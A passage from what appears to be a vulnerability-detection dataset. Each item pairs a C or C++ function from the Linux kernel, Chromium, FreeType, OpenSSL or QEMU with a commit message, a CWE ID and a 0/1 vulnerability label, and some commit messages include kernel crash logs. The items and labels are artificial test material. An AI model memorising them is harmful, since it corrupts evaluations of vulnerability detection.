[ 56.283512] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 56.283512] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[ 56.283512] Process khubd (pid: 25, threadinfo ffff88001fa98000, task ffff88001fa94f80)
[ 56.283512] Stack:
[ 56.283512] 0000000000000046 00000000000001c8 ffffffff810578ec ffffffff812fcb4c
[ 56.283512] ffff88001e19b980 0000000000002710 ffffffff812ffe81 0000000000000001
[ 56.283512] ffff88001fa94f80 0000000000000202 ffffffff00000001 0000000000000296
[ 56.283512] Call Trace:
[ 56.283512] [<ffffffff810578ec>] ? add_wait_queue+0x12/0x3c
[ 56.283512] [<ffffffff812fcb4c>] ? usb_serial_port_work+0x28/0x28
[ 56.283512] [<ffffffff812ffe81>] ? chase_port+0x84/0x2d6
[ 56.283512] [<ffffffff81063f27>] ? try_to_wake_up+0x199/0x199
[ 56.283512] [<ffffffff81263a5c>] ? tty_ldisc_hangup+0x222/0x298
[ 56.283512] [<ffffffff81300171>] ? edge_close+0x64/0x129
[ 56.283512] [<ffffffff810612f7>] ? __wake_up+0x35/0x46
[ 56.283512] [<ffffffff8106135b>] ? should_resched+0x5/0x23
[ 56.283512] [<ffffffff81264916>] ? tty_port_shutdown+0x39/0x44
[ 56.283512] [<ffffffff812fcb4c>] ? usb_serial_port_work+0x28/0x28
[ 56.283512] [<ffffffff8125d38c>] ? __tty_hangup+0x307/0x351
[ 56.283512] [<ffffffff812e6ddc>] ? usb_hcd_flush_endpoint+0xde/0xed
[ 56.283512] [<ffffffff8144e625>] ? _raw_spin_lock_irqsave+0x14/0x35
[ 56.283512] [<ffffffff812fd361>] ? usb_serial_disconnect+0x57/0xc2
[ 56.283512] [<ffffffff812ea99b>] ? usb_unbind_interface+0x5c/0x131
[ 56.283512] [<ffffffff8128d738>] ? __device_release_driver+0x7f/0xd5
[ 56.283512] [<ffffffff8128d9cd>] ? device_release_driver+0x1a/0x25
[ 56.283512] [<ffffffff8128d393>] ? bus_remove_device+0xd2/0xe7
[ 56.283512] [<ffffffff8128b7a3>] ? device_del+0x119/0x167
[ 56.283512] [<ffffffff812e8d9d>] ? usb_disable_device+0x6a/0x180
[ 56.283512] [<ffffffff812e2ae0>] ? usb_disconnect+0x81/0xe6
[ 56.283512] [<ffffffff812e4435>] ? hub_thread+0x577/0xe82
[ 56.283512] [<ffffffff8144daa7>] ? __schedule+0x490/0x4be
[ 56.283512] [<ffffffff8105798f>] ? abort_exclusive_wait+0x79/0x79
[ 56.283512] [<ffffffff812e3ebe>] ? usb_remote_wakeup+0x2f/0x2f
[ 56.283512] [<ffffffff812e3ebe>] ? usb_remote_wakeup+0x2f/0x2f
[ 56.283512] [<ffffffff810570b4>] ? kthread+0x81/0x89
[ 56.283512] [<ffffffff81057033>] ? __kthread_parkme+0x5c/0x5c
[ 56.283512] [<ffffffff8145387c>] ? ret_from_fork+0x7c/0xb0
[ 56.283512] [<ffffffff81057033>] ? __kthread_parkme+0x5c/0x5c
[ 56.283512] Code: 8b 7c 24 08 e8 17 0b c3 ff 48 8b 04 24 48 83 c4 10 c3 53 48 89 fb 41 50 e8 e0 0a c3 ff 48 89 04 24 e8 e7 0a c3 ff ba 00 00 01 00
<f0> 0f c1 13 48 8b 04 24 89 d1 c1 ea 10 66 39 d1 74 07 f3 90 66
[ 56.283512] RIP [<ffffffff8144e62a>] _raw_spin_lock_irqsave+0x19/0x35
[ 56.283512] RSP <ffff88001fa99ab0>
[ 56.283512] CR2: 00000000000001c8
[ 56.283512] ---[ end trace 49714df27e1679ce ]---
Signed-off-by: Wolfgang Frisch <wfpub@roembden.net>
Cc: Johan Hovold <jhovold@gmail.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-264 | 0 | 81 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int ipmi_smi_watcher_unregister(struct ipmi_smi_watcher *watcher)
{
mutex_lock(&smi_watchers_mutex);
list_del(&watcher->link);
mutex_unlock(&smi_watchers_mutex);
return 0;
}
Commit Message: ipmi: fix use-after-free of user->release_barrier.rda
When we do the following test, we got oops in ipmi_msghandler driver
while((1))
do
service ipmievd restart & service ipmievd restart
done
---------------------------------------------------------------
[ 294.230186] Unable to handle kernel paging request at virtual address 0000803fea6ea008
[ 294.230188] Mem abort info:
[ 294.230190] ESR = 0x96000004
[ 294.230191] Exception class = DABT (current EL), IL = 32 bits
[ 294.230193] SET = 0, FnV = 0
[ 294.230194] EA = 0, S1PTW = 0
[ 294.230195] Data abort info:
[ 294.230196] ISV = 0, ISS = 0x00000004
[ 294.230197] CM = 0, WnR = 0
[ 294.230199] user pgtable: 4k pages, 48-bit VAs, pgdp = 00000000a1c1b75a
[ 294.230201] [0000803fea6ea008] pgd=0000000000000000
[ 294.230204] Internal error: Oops: 96000004 [#1] SMP
[ 294.235211] Modules linked in: nls_utf8 isofs rpcrdma ib_iser ib_srpt target_core_mod ib_srp scsi_transport_srp ib_ipoib rdma_ucm ib_umad rdma_cm ib_cm iw_cm dm_mirror dm_region_hash dm_log dm_mod aes_ce_blk crypto_simd cryptd aes_ce_cipher ghash_ce sha2_ce ses sha256_arm64 sha1_ce hibmc_drm hisi_sas_v2_hw enclosure sg hisi_sas_main sbsa_gwdt ip_tables mlx5_ib ib_uverbs marvell ib_core mlx5_core ixgbe ipmi_si mdio hns_dsaf ipmi_devintf ipmi_msghandler hns_enet_drv hns_mdio
[ 294.277745] CPU: 3 PID: 0 Comm: swapper/3 Kdump: loaded Not tainted 5.0.0-rc2+ #113
[ 294.285511] Hardware name: Huawei TaiShan 2280 /BC11SPCD, BIOS 1.37 11/21/2017
[ 294.292835] pstate: 80000005 (Nzcv daif -PAN -UAO)
[ 294.297695] pc : __srcu_read_lock+0x38/0x58
[ 294.301940] lr : acquire_ipmi_user+0x2c/0x70 [ipmi_msghandler]
[ 294.307853] sp : ffff00001001bc80
[ 294.311208] x29: ffff00001001bc80 x28: ffff0000117e5000
[ 294.316594] x27: 0000000000000000 x26: dead000000000100
[ 294.321980] x25: dead000000000200 x24: ffff803f6bd06800
[ 294.327366] x23: 0000000000000000 x22: 0000000000000000
[ 294.332752] x21: ffff00001001bd04 x20: ffff80df33d19018
[ 294.338137] x19: ffff80df33d19018 x18: 0000000000000000
[ 294.343523] x17: 0000000000000000 x16: 0000000000000000
[ 294.348908] x15: 0000000000000000 x14: 0000000000000002
[ 294.354293] x13: 0000000000000000 x12: 0000000000000000
[ 294.359679] x11: 0000000000000000 x10: 0000000000100000
[ 294.365065] x9 : 0000000000000000 x8 : 0000000000000004
[ 294.370451] x7 : 0000000000000000 x6 : ffff80df34558678
[ 294.375836] x5 : 000000000000000c x4 : 0000000000000000
[ 294.381221] x3 : 0000000000000001 x2 : 0000803fea6ea000
[ 294.386607] x1 : 0000803fea6ea008 x0 : 0000000000000001
[ 294.391994] Process swapper/3 (pid: 0, stack limit = 0x0000000083087293)
[ 294.398791] Call trace:
[ 294.401266] __srcu_read_lock+0x38/0x58
[ 294.405154] acquire_ipmi_user+0x2c/0x70 [ipmi_msghandler]
[ 294.410716] deliver_response+0x80/0xf8 [ipmi_msghandler]
[ 294.416189] deliver_local_response+0x28/0x68 [ipmi_msghandler]
[ 294.422193] handle_one_recv_msg+0x158/0xcf8 [ipmi_msghandler]
[ 294.432050] handle_new_recv_msgs+0xc0/0x210 [ipmi_msghandler]
[ 294.441984] smi_recv_tasklet+0x8c/0x158 [ipmi_msghandler]
[ 294.451618] tasklet_action_common.isra.5+0x88/0x138
[ 294.460661] tasklet_action+0x2c/0x38
[ 294.468191] __do_softirq+0x120/0x2f8
[ 294.475561] irq_exit+0x134/0x140
[ 294.482445] __handle_domain_irq+0x6c/0xc0
[ 294.489954] gic_handle_irq+0xb8/0x178
[ 294.497037] el1_irq+0xb0/0x140
[ 294.503381] arch_cpu_idle+0x34/0x1a8
[ 294.510096] do_idle+0x1d4/0x290
[ 294.516322] cpu_startup_entry+0x28/0x30
[ 294.523230] secondary_start_kernel+0x184/0x1d0
[ 294.530657] Code: d538d082 d2800023 8b010c81 8b020021 (c85f7c25)
[ 294.539746] ---[ end trace 8a7a880dee570b29 ]---
[ 294.547341] Kernel panic - not syncing: Fatal exception in interrupt
[ 294.556837] SMP: stopping secondary CPUs
[ 294.563996] Kernel Offset: disabled
[ 294.570515] CPU features: 0x002,21006008
[ 294.577638] Memory Limit: none
[ 294.587178] Starting crashdump kernel...
[ 294.594314] Bye!
Because the user->release_barrier.rda is freed in ipmi_destroy_user(), but
the refcount is not zero, when acquire_ipmi_user() uses user->release_barrier.rda
in __srcu_read_lock(), it causes oops.
Fix this by calling cleanup_srcu_struct() when the refcount is zero.
Fixes: e86ee2d44b44 ("ipmi: Rework locking and shutdown for hot remove")
Cc: stable@vger.kernel.org # 4.18
Signed-off-by: Yang Yingliang <yangyingliang@huawei.com>
Signed-off-by: Corey Minyard <cminyard@mvista.com>
CWE ID: CWE-416 | 0 | 26,735 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void ipv4_dst_ifdown(struct dst_entry *dst, struct net_device *dev,
int how)
{
}
Commit Message: net: Compute protocol sequence numbers and fragment IDs using MD5.
Computers have become a lot faster since we compromised on the
partial MD4 hash which we use currently for performance reasons.
MD5 is a much safer choice, and is inline with both RFC1948 and
other ISS generators (OpenBSD, Solaris, etc.)
Furthermore, only having 24-bits of the sequence number be truly
unpredictable is a very serious limitation. So the periodic
regeneration and 8-bit counter have been removed. We compute and
use a full 32-bit sequence number.
For ipv6, DCCP was found to use a 32-bit truncated initial sequence
number (it needs 43-bits) and that is fixed here as well.
Reported-by: Dan Kaminsky <dan@doxpara.com>
Tested-by: Willy Tarreau <w@1wt.eu>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: | 0 | 3,535 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: unsigned HTMLFormElement::length() const {
unsigned len = 0;
for (const auto& element : ListedElements()) {
if (element->IsEnumeratable())
++len;
}
return len;
}
Commit Message: Move user activation check to RemoteFrame::Navigate's callers.
Currently RemoteFrame::Navigate is the user of
Frame::HasTransientUserActivation that passes a RemoteFrame*, and
it seems wrong because the user activation (user gesture) needed by
the navigation should belong to the LocalFrame that initiated the
navigation.
Follow-up CLs after this one will update UserActivation code in
Frame to take a LocalFrame* instead of a Frame*, and get rid of
redundant IPCs.
Bug: 811414
Change-Id: I771c1694043edb54374a44213d16715d9c7da704
Reviewed-on: https://chromium-review.googlesource.com/914736
Commit-Queue: Mustaq Ahmed <mustaq@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Cr-Commit-Position: refs/heads/master@{#536728}
CWE ID: CWE-190 | 0 | 20,038 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: Ins_NOT( FT_Long* args )
{
args[0] = !args[0];
}
Commit Message:
CWE ID: CWE-476 | 0 | 10,127 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int get_ctty_devnr(pid_t pid, dev_t *d) {
int k;
char line[LINE_MAX], *p, *fn;
unsigned long ttynr;
FILE *f;
if (asprintf(&fn, "/proc/%lu/stat", (unsigned long) (pid <= 0 ? getpid() : pid)) < 0)
return -ENOMEM;
f = fopen(fn, "re");
free(fn);
if (!f)
return -errno;
if (!fgets(line, sizeof(line), f)) {
k = feof(f) ? -EIO : -errno;
fclose(f);
return k;
}
fclose(f);
p = strrchr(line, ')');
if (!p)
return -EIO;
p++;
if (sscanf(p, " "
"%*c " /* state */
"%*d " /* ppid */
"%*d " /* pgrp */
"%*d " /* session */
"%lu ", /* ttynr */
&ttynr) != 1)
return -EIO;
*d = (dev_t) ttynr;
return 0;
}
Commit Message:
CWE ID: CWE-362 | 0 | 3,463 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: TT_VecLen( FT_F26Dot6 X,
FT_F26Dot6 Y )
{
FT_Vector v;
v.x = X;
v.y = Y;
return FT_Vector_Length( &v );
}
Commit Message:
CWE ID: CWE-119 | 0 | 27,643 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: unsigned long ssl3_output_cert_chain(SSL *s, CERT_PKEY *cpk)
{
unsigned char *p;
unsigned long l = 3 + SSL_HM_HEADER_LENGTH(s);
if (!ssl_add_cert_chain(s, cpk, &l))
return 0;
l -= 3 + SSL_HM_HEADER_LENGTH(s);
p = ssl_handshake_start(s);
l2n3(l, p);
l += 3;
if (!ssl_set_handshake_header(s, SSL3_MT_CERTIFICATE, l)) {
SSLerr(SSL_F_SSL3_OUTPUT_CERT_CHAIN, ERR_R_INTERNAL_ERROR);
return 0;
}
return l + SSL_HM_HEADER_LENGTH(s);
}
Commit Message:
CWE ID: CWE-400 | 0 | 28,540 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: BackingStore* RenderWidgetHostViewGtk::AllocBackingStore(
const gfx::Size& size) {
gint depth = gdk_visual_get_depth(gtk_widget_get_visual(view_.get()));
return new BackingStoreGtk(host_, size,
ui::GetVisualFromGtkWidget(view_.get()),
depth);
}
Commit Message: Implement TextureImageTransportSurface using texture mailbox
This has a couple of advantages:
- allow tearing down and recreating the UI parent context without
losing the renderer contexts
- do not require a context to be able to generate textures when
creating the GLSurfaceHandle
- clearer ownership semantics that potentially allows for more
robust and easier lost context handling/thumbnailing/etc., since a texture is at
any given time owned by either: UI parent, mailbox, or
TextureImageTransportSurface
- simplify frontbuffer protection logic;
the frontbuffer textures are now owned by RWHV where they are refcounted
The TextureImageTransportSurface informs RenderWidgetHostView of the
mailbox names for the front- and backbuffer textures by
associating them with a surface_handle (1 or 2) in the AcceleratedSurfaceNew message.
During SwapBuffers() or PostSubBuffer() cycles, it then uses
produceTextureCHROMIUM() and consumeTextureCHROMIUM()
to transfer ownership between renderer and browser compositor.
RWHV sends back the surface_handle of the buffer being returned with the Swap ACK
(or 0 if no buffer is being returned in which case TextureImageTransportSurface will
allocate a new texture - note that this could be used to
simply keep textures for thumbnailing).
BUG=154815,139616
TBR=sky@chromium.org
Review URL: https://chromiumcodereview.appspot.com/11194042
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@171569 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: | 0 | 5,276 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static struct macvlan_dev *macvlan_hash_lookup(const struct macvlan_port *port,
const unsigned char *addr)
{
struct macvlan_dev *vlan;
struct hlist_node *n;
hlist_for_each_entry_rcu(vlan, n, &port->vlan_hash[addr[5]], hlist) {
if (!compare_ether_addr_64bits(vlan->dev->dev_addr, addr))
return vlan;
}
return NULL;
}
Commit Message: net: Audit drivers to identify those needing IFF_TX_SKB_SHARING cleared
After the last patch, We are left in a state in which only drivers calling
ether_setup have IFF_TX_SKB_SHARING set (we assume that drivers touching real
hardware call ether_setup for their net_devices and don't hold any state in
their skbs. There are a handful of drivers that violate this assumption of
course, and need to be fixed up. This patch identifies those drivers, and marks
them as not being able to support the safe transmission of skbs by clearning the
IFF_TX_SKB_SHARING flag in priv_flags
Signed-off-by: Neil Horman <nhorman@tuxdriver.com>
CC: Karsten Keil <isdn@linux-pingi.de>
CC: "David S. Miller" <davem@davemloft.net>
CC: Jay Vosburgh <fubar@us.ibm.com>
CC: Andy Gospodarek <andy@greyhouse.net>
CC: Patrick McHardy <kaber@trash.net>
CC: Krzysztof Halasa <khc@pm.waw.pl>
CC: "John W. Linville" <linville@tuxdriver.com>
CC: Greg Kroah-Hartman <gregkh@suse.de>
CC: Marcel Holtmann <marcel@holtmann.org>
CC: Johannes Berg <johannes@sipsolutions.net>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-264 | 0 | 25,664 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int v9fs_xattr_fid_clunk(V9fsPDU *pdu, V9fsFidState *fidp)
{
int retval = 0;
if (fidp->fs.xattr.copied_len == -1) {
/* getxattr/listxattr fid */
goto free_value;
}
/*
* if this is fid for setxattr. clunk should
* result in setxattr localcall
*/
if (fidp->fs.xattr.len != fidp->fs.xattr.copied_len) {
/* clunk after partial write */
retval = -EINVAL;
goto free_out;
}
if (fidp->fs.xattr.len) {
retval = v9fs_co_lsetxattr(pdu, &fidp->path, &fidp->fs.xattr.name,
fidp->fs.xattr.value,
fidp->fs.xattr.len,
fidp->fs.xattr.flags);
} else {
retval = v9fs_co_lremovexattr(pdu, &fidp->path, &fidp->fs.xattr.name);
}
free_out:
v9fs_string_free(&fidp->fs.xattr.name);
free_value:
g_free(fidp->fs.xattr.value);
return retval;
}
Commit Message:
CWE ID: CWE-399 | 0 | 15,788 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool IsAttachedTo(const std::string& target_id) {
return agent_host_->GetId() == target_id;
}
Commit Message: DevTools: speculative fix for crash in NetworkHandler::Disable
This keeps BrowserContext* and StoragePartition* instead of
RenderProcessHost* in an attemp to resolve UAF of RenderProcessHost
upon closure of DevTools front-end.
Bug: 801117, 783067, 780694
Change-Id: I6c2cca60cc0c29f0949d189cf918769059f80c1b
Reviewed-on: https://chromium-review.googlesource.com/876657
Commit-Queue: Andrey Kosyakov <caseq@chromium.org>
Reviewed-by: Dmitry Gozman <dgozman@chromium.org>
Cr-Commit-Position: refs/heads/master@{#531157}
CWE ID: CWE-20 | 0 | 22,545 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int btrfs_prealloc_file_range(struct inode *inode, int mode,
u64 start, u64 num_bytes, u64 min_size,
loff_t actual_len, u64 *alloc_hint)
{
return __btrfs_prealloc_file_range(inode, mode, start, num_bytes,
min_size, actual_len, alloc_hint,
NULL);
}
Commit Message: Btrfs: fix hash overflow handling
The handling for directory crc hash overflows was fairly obscure,
split_leaf returns EOVERFLOW when we try to extend the item and that is
supposed to bubble up to userland. For a while it did so, but along the
way we added better handling of errors and forced the FS readonly if we
hit IO errors during the directory insertion.
Along the way, we started testing only for EEXIST and the EOVERFLOW case
was dropped. The end result is that we may force the FS readonly if we
catch a directory hash bucket overflow.
This fixes a few problem spots. First I add tests for EOVERFLOW in the
places where we can safely just return the error up the chain.
btrfs_rename is harder though, because it tries to insert the new
directory item only after it has already unlinked anything the rename
was going to overwrite. Rather than adding very complex logic, I added
a helper to test for the hash overflow case early while it is still safe
to bail out.
Snapshot and subvolume creation had a similar problem, so they are using
the new helper now too.
Signed-off-by: Chris Mason <chris.mason@fusionio.com>
Reported-by: Pascal Junod <pascal@junod.info>
CWE ID: CWE-310 | 0 | 24,390 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: _XcursorStdioFileRead (XcursorFile *file, unsigned char *buf, int len)
{
FILE *f = file->closure;
return fread (buf, 1, len, f);
}
Commit Message:
CWE ID: CWE-190 | 0 | 28,988 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: GF_Err cprt_Write(GF_Box *s, GF_BitStream *bs)
{
GF_Err e;
GF_CopyrightBox *ptr = (GF_CopyrightBox *) s;
e = gf_isom_full_box_write(s, bs);
if (e) return e;
gf_bs_write_int(bs, 0, 1);
if (ptr->packedLanguageCode[0]) {
gf_bs_write_int(bs, ptr->packedLanguageCode[0] - 0x60, 5);
gf_bs_write_int(bs, ptr->packedLanguageCode[1] - 0x60, 5);
gf_bs_write_int(bs, ptr->packedLanguageCode[2] - 0x60, 5);
} else {
gf_bs_write_int(bs, 0, 15);
}
if (ptr->notice) {
gf_bs_write_data(bs, ptr->notice, (u32) (strlen(ptr->notice) + 1) );
}
return GF_OK;
}
Commit Message: fixed 2 possible heap overflows (inc. #1088)
CWE ID: CWE-125 | 0 | 5,703 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int create_discard_cmd_control(struct f2fs_sb_info *sbi)
{
dev_t dev = sbi->sb->s_bdev->bd_dev;
struct discard_cmd_control *dcc;
int err = 0, i;
if (SM_I(sbi)->dcc_info) {
dcc = SM_I(sbi)->dcc_info;
goto init_thread;
}
dcc = kzalloc(sizeof(struct discard_cmd_control), GFP_KERNEL);
if (!dcc)
return -ENOMEM;
dcc->discard_granularity = DEFAULT_DISCARD_GRANULARITY;
INIT_LIST_HEAD(&dcc->entry_list);
for (i = 0; i < MAX_PLIST_NUM; i++) {
INIT_LIST_HEAD(&dcc->pend_list[i]);
if (i >= dcc->discard_granularity - 1)
dcc->pend_list_tag[i] |= P_ACTIVE;
}
INIT_LIST_HEAD(&dcc->wait_list);
mutex_init(&dcc->cmd_lock);
atomic_set(&dcc->issued_discard, 0);
atomic_set(&dcc->issing_discard, 0);
atomic_set(&dcc->discard_cmd_cnt, 0);
dcc->nr_discards = 0;
dcc->max_discards = MAIN_SEGS(sbi) << sbi->log_blocks_per_seg;
dcc->undiscard_blks = 0;
dcc->root = RB_ROOT;
init_waitqueue_head(&dcc->discard_wait_queue);
SM_I(sbi)->dcc_info = dcc;
init_thread:
dcc->f2fs_issue_discard = kthread_run(issue_discard_thread, sbi,
"f2fs_discard-%u:%u", MAJOR(dev), MINOR(dev));
if (IS_ERR(dcc->f2fs_issue_discard)) {
err = PTR_ERR(dcc->f2fs_issue_discard);
kfree(dcc);
SM_I(sbi)->dcc_info = NULL;
return err;
}
return err;
}
Commit Message: f2fs: fix potential panic during fstrim
As Ju Hyung Park reported:
"When 'fstrim' is called for manual trim, a BUG() can be triggered
randomly with this patch.
I'm seeing this issue on both x86 Desktop and arm64 Android phone.
On x86 Desktop, this was caused during Ubuntu boot-up. I have a
cronjob installed which calls 'fstrim -v /' during boot. On arm64
Android, this was caused during GC looping with 1ms gc_min_sleep_time
& gc_max_sleep_time."
Root cause of this issue is that f2fs_wait_discard_bios can only be
used by f2fs_put_super, because during put_super there must be no
other referrers, so it can ignore discard entry's reference count
when removing the entry, otherwise in other caller we will hit bug_on
in __remove_discard_cmd as there may be other issuer added reference
count in discard entry.
Thread A Thread B
- issue_discard_thread
- f2fs_ioc_fitrim
- f2fs_trim_fs
- f2fs_wait_discard_bios
- __issue_discard_cmd
- __submit_discard_cmd
- __wait_discard_cmd
- dc->ref++
- __wait_one_discard_bio
- __wait_discard_cmd
- __remove_discard_cmd
- f2fs_bug_on(sbi, dc->ref)
Fixes: 969d1b180d987c2be02de890d0fff0f66a0e80de
Reported-by: Ju Hyung Park <qkrwngud825@gmail.com>
Signed-off-by: Chao Yu <yuchao0@huawei.com>
Signed-off-by: Jaegeuk Kim <jaegeuk@kernel.org>
CWE ID: CWE-20 | 0 | 7,946 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int __kvm_set_xcr(struct kvm_vcpu *vcpu, u32 index, u64 xcr)
{
u64 xcr0;
/* Only support XCR_XFEATURE_ENABLED_MASK(xcr0) now */
if (index != XCR_XFEATURE_ENABLED_MASK)
return 1;
xcr0 = xcr;
if (kvm_x86_ops->get_cpl(vcpu) != 0)
return 1;
if (!(xcr0 & XSTATE_FP))
return 1;
if ((xcr0 & XSTATE_YMM) && !(xcr0 & XSTATE_SSE))
return 1;
if (xcr0 & ~host_xcr0)
return 1;
vcpu->arch.xcr0 = xcr0;
vcpu->guest_xcr0_loaded = 0;
return 0;
}
Commit Message: KVM: Ensure all vcpus are consistent with in-kernel irqchip settings
(cherry picked from commit 3e515705a1f46beb1c942bb8043c16f8ac7b1e9e)
If some vcpus are created before KVM_CREATE_IRQCHIP, then
irqchip_in_kernel() and vcpu->arch.apic will be inconsistent, leading
to potential NULL pointer dereferences.
Fix by:
- ensuring that no vcpus are installed when KVM_CREATE_IRQCHIP is called
- ensuring that a vcpu has an apic if it is installed after KVM_CREATE_IRQCHIP
This is somewhat long winded because vcpu->arch.apic is created without
kvm->lock held.
Based on earlier patch by Michael Ellerman.
Signed-off-by: Michael Ellerman <michael@ellerman.id.au>
Signed-off-by: Avi Kivity <avi@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-399 | 0 | 12,209 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int can_open_delegated(struct nfs_delegation *delegation, fmode_t fmode)
{
if (delegation == NULL)
return 0;
if ((delegation->type & fmode) != fmode)
return 0;
if (test_bit(NFS_DELEGATION_RETURNING, &delegation->flags))
return 0;
nfs_mark_delegation_referenced(delegation);
return 1;
}
Commit Message: NFS: Fix a NULL pointer dereference of migration recovery ops for v4.2 client
---Steps to Reproduce--
<nfs-server>
# cat /etc/exports
/nfs/referal *(rw,insecure,no_subtree_check,no_root_squash,crossmnt)
/nfs/old *(ro,insecure,subtree_check,root_squash,crossmnt)
<nfs-client>
# mount -t nfs nfs-server:/nfs/ /mnt/
# ll /mnt/*/
<nfs-server>
# cat /etc/exports
/nfs/referal *(rw,insecure,no_subtree_check,no_root_squash,crossmnt,refer=/nfs/old/@nfs-server)
/nfs/old *(ro,insecure,subtree_check,root_squash,crossmnt)
# service nfs restart
<nfs-client>
# ll /mnt/*/ --->>>>> oops here
[ 5123.102925] BUG: unable to handle kernel NULL pointer dereference at (null)
[ 5123.103363] IP: [<ffffffffa03ed38b>] nfs4_proc_get_locations+0x9b/0x120 [nfsv4]
[ 5123.103752] PGD 587b9067 PUD 3cbf5067 PMD 0
[ 5123.104131] Oops: 0000 [#1]
[ 5123.104529] Modules linked in: nfsv4(OE) nfs(OE) fscache(E) nfsd(OE) xfs libcrc32c iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi coretemp crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel ppdev vmw_balloon parport_pc parport i2c_piix4 shpchp auth_rpcgss nfs_acl vmw_vmci lockd grace sunrpc vmwgfx drm_kms_helper ttm drm mptspi serio_raw scsi_transport_spi e1000 mptscsih mptbase ata_generic pata_acpi [last unloaded: nfsd]
[ 5123.105887] CPU: 0 PID: 15853 Comm: ::1-manager Tainted: G OE 4.2.0-rc6+ #214
[ 5123.106358] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 05/20/2014
[ 5123.106860] task: ffff88007620f300 ti: ffff88005877c000 task.ti: ffff88005877c000
[ 5123.107363] RIP: 0010:[<ffffffffa03ed38b>] [<ffffffffa03ed38b>] nfs4_proc_get_locations+0x9b/0x120 [nfsv4]
[ 5123.107909] RSP: 0018:ffff88005877fdb8 EFLAGS: 00010246
[ 5123.108435] RAX: ffff880053f3bc00 RBX: ffff88006ce6c908 RCX: ffff880053a0d240
[ 5123.108968] RDX: ffffea0000e6d940 RSI: ffff8800399a0000 RDI: ffff88006ce6c908
[ 5123.109503] RBP: ffff88005877fe28 R08: ffffffff81c708a0 R09: 0000000000000000
[ 5123.110045] R10: 00000000000001a2 R11: ffff88003ba7f5c8 R12: ffff880054c55800
[ 5123.110618] R13: 0000000000000000 R14: ffff880053a0d240 R15: ffff880053a0d240
[ 5123.111169] FS: 0000000000000000(0000) GS:ffffffff81c27000(0000) knlGS:0000000000000000
[ 5123.111726] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 5123.112286] CR2: 0000000000000000 CR3: 0000000054cac000 CR4: 00000000001406f0
[ 5123.112888] Stack:
[ 5123.113458] ffffea0000e6d940 ffff8800399a0000 00000000000167d0 0000000000000000
[ 5123.114049] 0000000000000000 0000000000000000 0000000000000000 00000000a7ec82c6
[ 5123.114662] ffff88005877fe18 ffffea0000e6d940 ffff8800399a0000 ffff880054c55800
[ 5123.115264] Call Trace:
[ 5123.115868] [<ffffffffa03fb44b>] nfs4_try_migration+0xbb/0x220 [nfsv4]
[ 5123.116487] [<ffffffffa03fcb3b>] nfs4_run_state_manager+0x4ab/0x7b0 [nfsv4]
[ 5123.117104] [<ffffffffa03fc690>] ? nfs4_do_reclaim+0x510/0x510 [nfsv4]
[ 5123.117813] [<ffffffff810a4527>] kthread+0xd7/0xf0
[ 5123.118456] [<ffffffff810a4450>] ? kthread_worker_fn+0x160/0x160
[ 5123.119108] [<ffffffff816d9cdf>] ret_from_fork+0x3f/0x70
[ 5123.119723] [<ffffffff810a4450>] ? kthread_worker_fn+0x160/0x160
[ 5123.120329] Code: 4c 8b 6a 58 74 17 eb 52 48 8d 55 a8 89 c6 4c 89 e7 e8 4a b5 ff ff 8b 45 b0 85 c0 74 1c 4c 89 f9 48 8b 55 90 48 8b 75 98 48 89 df <41> ff 55 00 3d e8 d8 ff ff 41 89 c6 74 cf 48 8b 4d c8 65 48 33
[ 5123.121643] RIP [<ffffffffa03ed38b>] nfs4_proc_get_locations+0x9b/0x120 [nfsv4]
[ 5123.122308] RSP <ffff88005877fdb8>
[ 5123.122942] CR2: 0000000000000000
Fixes: ec011fe847 ("NFS: Introduce a vector of migration recovery ops")
Cc: stable@vger.kernel.org # v3.13+
Signed-off-by: Kinglong Mee <kinglongmee@gmail.com>
